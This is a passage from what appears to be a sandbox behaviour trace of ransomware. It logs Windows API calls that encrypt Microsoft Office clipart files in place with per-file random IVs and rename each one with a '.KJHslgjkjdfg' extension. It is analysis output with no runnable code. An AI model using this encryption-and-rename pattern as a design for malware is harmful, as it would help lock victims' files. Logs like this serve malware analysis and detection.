lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.999] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.999] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.999] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.999] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x334, lpOverlapped=0x0) returned 1 [0191.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x340) returned 1 [0191.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.000] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x340, lpOverlapped=0x0) returned 1 [0191.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.000] SetEndOfFile (hFile=0x114) returned 1 [0191.003] GetProcessHeap () returned 0x2a0000 [0191.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.003] GetProcessHeap () returned 0x2a0000 [0191.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.kjhslgjkjdfg")) returned 1 [0191.005] CloseHandle (hObject=0x114) returned 1 [0191.005] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0191.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.006] GetProcessHeap () returned 0x2a0000 [0191.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.006] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.007] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.007] GetProcessHeap () returned 0x2a0000 [0191.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.007] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.007] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.007] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.009] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.009] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.009] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.010] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x900, lpOverlapped=0x0) returned 1 [0191.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900) returned 1 [0191.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.010] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x900, lpOverlapped=0x0) returned 1 [0191.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.010] SetEndOfFile (hFile=0x114) returned 1 [0191.013] GetProcessHeap () returned 0x2a0000 [0191.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.013] GetProcessHeap () returned 0x2a0000 [0191.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.kjhslgjkjdfg")) returned 1 [0191.015] CloseHandle (hObject=0x114) returned 1 [0191.015] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0191.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.017] GetProcessHeap () returned 0x2a0000 [0191.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.017] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.020] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.020] GetProcessHeap () returned 0x2a0000 [0191.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.020] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.020] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.021] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe88, lpOverlapped=0x0) returned 1 [0191.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90, dwBufLen=0xe90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe90) returned 1 [0191.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe90, lpOverlapped=0x0) returned 1 [0191.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.021] SetEndOfFile (hFile=0x114) returned 1 [0191.024] GetProcessHeap () returned 0x2a0000 [0191.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.024] GetProcessHeap () returned 0x2a0000 [0191.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.kjhslgjkjdfg")) returned 1 [0191.026] CloseHandle (hObject=0x114) returned 1 [0191.026] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0191.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.027] GetProcessHeap () returned 0x2a0000 [0191.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.027] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.027] GetProcessHeap () returned 0x2a0000 [0191.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.028] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.028] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.028] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.030] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.030] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8e0, lpOverlapped=0x0) returned 1 [0191.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0) returned 1 [0191.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.031] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8e0, lpOverlapped=0x0) returned 1 [0191.031] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.031] SetEndOfFile (hFile=0x114) returned 1 [0191.034] GetProcessHeap () returned 0x2a0000 [0191.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.034] GetProcessHeap () returned 0x2a0000 [0191.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.kjhslgjkjdfg")) returned 1 [0191.036] CloseHandle (hObject=0x114) returned 1 [0191.036] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0191.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.038] GetProcessHeap () returned 0x2a0000 [0191.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.038] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.041] GetProcessHeap () returned 0x2a0000 [0191.041] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.041] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.041] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.041] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x818, lpOverlapped=0x0) returned 1 [0191.041] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820, dwBufLen=0x820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820) returned 1 [0191.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.041] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x820, lpOverlapped=0x0) returned 1 [0191.042] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8f4, 